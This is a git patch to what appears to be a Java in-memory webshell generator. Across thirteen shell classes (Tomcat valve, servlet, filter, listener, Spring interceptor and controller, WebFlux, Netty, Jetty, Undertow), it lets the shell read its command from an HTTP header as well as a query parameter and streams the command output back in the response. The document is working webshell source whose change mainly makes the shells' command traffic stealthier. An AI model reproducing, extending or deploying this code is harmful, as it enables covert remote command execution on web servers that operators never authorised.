From 5ad7aec8058cc3b3b762743c1c1cdf16c9f07b2c Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 18 Nov 2025 19:35:22 +0800 Subject: [PATCH] feat: support command shell get cmd from header --- .../memshell/shelltool/command/Command.java | 15 +++++----- .../command/CommandControllerHandler.java | 8 ++++-- .../shelltool/command/CommandFilter.java | 8 ++++-- .../command/CommandHandlerFunction.java | 27 +++++++++--------- .../command/CommandHandlerMethod.java | 23 +++++++-------- .../shelltool/command/CommandInterceptor.java | 8 ++++-- .../command/CommandJettyHandler.java | 8 ++++-- .../shelltool/command/CommandListener.java | 8 ++++-- .../command/CommandNettyHandler.java | 25 ++++++++--------- .../shelltool/command/CommandServlet.java | 8 ++++-- .../CommandUndertowServletHandler.java | 15 +++++----- .../shelltool/command/CommandValve.java | 9 ++++-- .../shelltool/command/CommandWebFilter.java | 28 +++++++------------ 13 files changed, 102 insertions(+), 88 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java index e6a7d7bd..5ae8626e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.shelltool.command; import java.io.InputStream; import java.io.OutputStream; import java.lang.reflect.Field; +import java.util.Scanner; /** * @author ReaJason @@ -17,15 +18,15 @@ public class Command { Object request = unwrap(args[0], "request"); Object response = unwrap(args[1], "response"); try { - String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); - if (param != null) { + String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (p == null || p.isEmpty()) { + p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } + outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); return true; } } catch (Throwable e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java index 44fb669d..83bb6263 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java @@ -17,8 +17,12 @@ public class CommandControllerHandler implements Controller { public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { try { - String param = getParam(request.getParameter(paramName)); - if (param != null) { + String p = request.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = request.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); ServletOutputStream outputStream = response.getOutputStream(); byte[] buf = new byte[8192]; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java index 3b7d4b1c..4a1cc167 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java @@ -18,8 +18,12 @@ public class CommandFilter implements Filter { HttpServletRequest servletRequest = (HttpServletRequest) request; HttpServletResponse servletResponse = (HttpServletResponse) response; try { - String param = getParam(servletRequest.getParameter(paramName)); - if (param != null) { + String p = servletRequest.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = servletRequest.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); ServletOutputStream outputStream = servletResponse.getOutputStream(); byte[] buf = new byte[8192]; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java index 45347d53..fc45fac7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java @@ -5,10 +5,9 @@ import org.springframework.web.reactive.function.server.ServerRequest; import org.springframework.web.reactive.function.server.ServerResponse; import reactor.core.publisher.Mono; -import java.io.BufferedReader; import java.io.InputStream; -import java.io.InputStreamReader; import java.util.Optional; +import java.util.Scanner; /** * @author ReaJason @@ -19,25 +18,25 @@ public class CommandHandlerFunction implements HandlerFunction { @Override public Mono handle(ServerRequest request) { + String p = null; Optional paramOptional = request.queryParam(paramName); - if (!paramOptional.isPresent()) { - return Mono.empty(); + if (paramOptional.isPresent()) { + p = paramOptional.get(); } - StringBuilder result = new StringBuilder(); + if (p == null || p.isEmpty()) { + p = request.headers().firstHeader(paramName); + } + String result = ""; try { - String param = getParam(paramOptional.get()); - InputStream inputStream = getInputStream(param); - try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) { - String line; - while ((line = bufferedReader.readLine()) != null) { - result.append(line); - result.append(System.lineSeparator()); - } + if (p != null) { + String param = getParam(p); + InputStream inputStream = getInputStream(param); + result = new Scanner(inputStream).useDelimiter("\\A").next(); } } catch (Throwable e) { e.printStackTrace(); } - return ServerResponse.ok().body(Mono.just(result.toString()), String.class); + return ServerResponse.ok().body(Mono.just(result), String.class); } private String getParam(String param) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java index b9a32d50..67bd0a9b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java @@ -3,9 +3,8 @@ package com.reajason.javaweb.memshell.shelltool.command; import org.springframework.http.ResponseEntity; import org.springframework.web.server.ServerWebExchange; -import java.io.BufferedReader; import java.io.InputStream; -import java.io.InputStreamReader; +import java.util.Scanner; /** * @author ReaJason @@ -15,23 +14,21 @@ public class CommandHandlerMethod { public static String paramName; public ResponseEntity invoke(ServerWebExchange exchange) { - String param = getParam(exchange.getRequest().getQueryParams().getFirst(paramName)); - StringBuilder result = new StringBuilder(); + String p = exchange.getRequest().getQueryParams().getFirst(paramName); + if (p == null || p.isEmpty()) { + p = exchange.getRequest().getHeaders().getFirst(paramName); + } + String result = ""; try { - if (param != null) { + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); - try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) { - String line; - while ((line = bufferedReader.readLine()) != null) { - result.append(line); - result.append(System.lineSeparator()); - } - } + result = new Scanner(inputStream).useDelimiter("\\A").next(); } } catch (Throwable e) { e.printStackTrace(); } - return ResponseEntity.ok(result.toString()); + return ResponseEntity.ok(result); } private String getParam(String param) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java index f0e07791..6f00a08b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java @@ -18,8 +18,12 @@ public class CommandInterceptor implements AsyncHandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { try { - String param = getParam(request.getParameter(paramName)); - if (param != null) { + String p = request.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = request.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next()); return false; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java index 851d6fb1..9b78a261 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java @@ -33,8 +33,12 @@ public class CommandJettyHandler { response = args[1]; } try { - String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); - if (param != null) { + String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (p == null || p.isEmpty()) { + p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); byte[] buf = new byte[8192]; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java index 175feb7f..bd6fde1a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java @@ -17,8 +17,12 @@ public class CommandListener implements ServletRequestListener { public void requestInitialized(ServletRequestEvent servletRequestEvent) { HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); try { - String param = getParam(request.getParameter(paramName)); - if (param != null) { + String p = request.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = request.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request); InputStream inputStream = getInputStream(param); ServletOutputStream outputStream = servletResponse.getOutputStream(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandNettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandNettyHandler.java index b314d3ec..dcda74bb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandNettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandNettyHandler.java @@ -7,11 +7,10 @@ import io.netty.channel.ChannelHandler; import io.netty.channel.ChannelHandlerContext; import io.netty.handler.codec.http.*; -import java.io.BufferedReader; import java.io.InputStream; -import java.io.InputStreamReader; import java.net.URI; import java.nio.charset.StandardCharsets; +import java.util.Scanner; /** * @author ReaJason @@ -26,28 +25,26 @@ public class CommandNettyHandler extends ChannelDuplexHandler { if (msg instanceof HttpRequest) { HttpRequest request = (HttpRequest) msg; HttpHeaders headers = request.headers(); - String param = getParam(getParamFromUrl(request.uri(), paramName)); - if (param == null) { + String p = getParamFromUrl(request.uri(), paramName); + if (p == null || p.isEmpty()) { + p = headers.get(paramName); + } + if (p == null) { ctx.fireChannelRead(msg); return; } - StringBuilder result = new StringBuilder(); + String result = ""; try { + String param = getParam(p); InputStream inputStream = getInputStream(param); - try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) { - String line; - while ((line = bufferedReader.readLine()) != null) { - result.append(line); - result.append(System.lineSeparator()); - } - } + result = new Scanner(inputStream).useDelimiter("\\A").next(); } catch (Throwable e) { e.printStackTrace(); } send(ctx, result.toString()); - } else { - ctx.fireChannelRead(msg); + return; } + ctx.fireChannelRead(msg); } private void send(ChannelHandlerContext ctx, String context) throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java index 994f3e97..55be5b40 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java @@ -22,9 +22,13 @@ public class CommandServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { - String param = getParam(request.getParameter(paramName)); try { - if (param != null) { + String p = request.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = request.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); ServletOutputStream outputStream = response.getOutputStream(); byte[] buf = new byte[8192]; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java index 8444f80b..2bc459d9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.shelltool.command; import java.io.InputStream; import java.io.OutputStream; +import java.util.Scanner; /** * @author ReaJason @@ -22,15 +23,15 @@ public class CommandUndertowServletHandler { } Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); - String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); - if (param != null) { + String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (p == null || p.isEmpty()) { + p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } + outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); return true; } } catch (Throwable e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index faac6450..ca73dc8f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -5,7 +5,6 @@ import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import javax.servlet.ServletException; -import javax.servlet.ServletOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.Scanner; @@ -19,8 +18,12 @@ public class CommandValve implements Valve { @Override public void invoke(Request request, Response response) throws IOException, ServletException { try { - String param = getParam(request.getParameter(paramName)); - if (param != null) { + String p = request.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = request.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); InputStream inputStream = getInputStream(param); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next()); return; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java index d3b4113a..176c185a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java @@ -1,16 +1,14 @@ package com.reajason.javaweb.memshell.shelltool.command; -import org.springframework.core.io.buffer.DataBuffer; import org.springframework.core.io.buffer.DefaultDataBufferFactory; import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilterChain; import reactor.core.publisher.Mono; -import java.io.BufferedReader; import java.io.InputStream; -import java.io.InputStreamReader; import java.nio.charset.StandardCharsets; +import java.util.Scanner; /** * @author ReaJason @@ -21,28 +19,22 @@ public class CommandWebFilter implements WebFilter { @Override public Mono filter(ServerWebExchange exchange, WebFilterChain chain) { - String param = getParam(exchange.getRequest().getQueryParams().getFirst(paramName)); - if (param == null) { + String p = exchange.getRequest().getQueryParams().getFirst(paramName); + if (p == null || p.isEmpty()) { + p = exchange.getRequest().getHeaders().getFirst(paramName); + } + if (p == null) { return chain.filter(exchange); } - return exchange.getResponse().writeWith(getResult(param)); - } - - private Mono getResult(String param) { - StringBuilder result = new StringBuilder(); + String param = getParam(p); + String result = ""; try { InputStream inputStream = getInputStream(param); - try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) { - String line; - while ((line = bufferedReader.readLine()) != null) { - result.append(line); - result.append(System.lineSeparator()); - } - } + result = new Scanner(inputStream).useDelimiter("\\A").next(); } catch (Throwable e) { e.printStackTrace(); } - return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8))); + return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))); } private String getParam(String param) {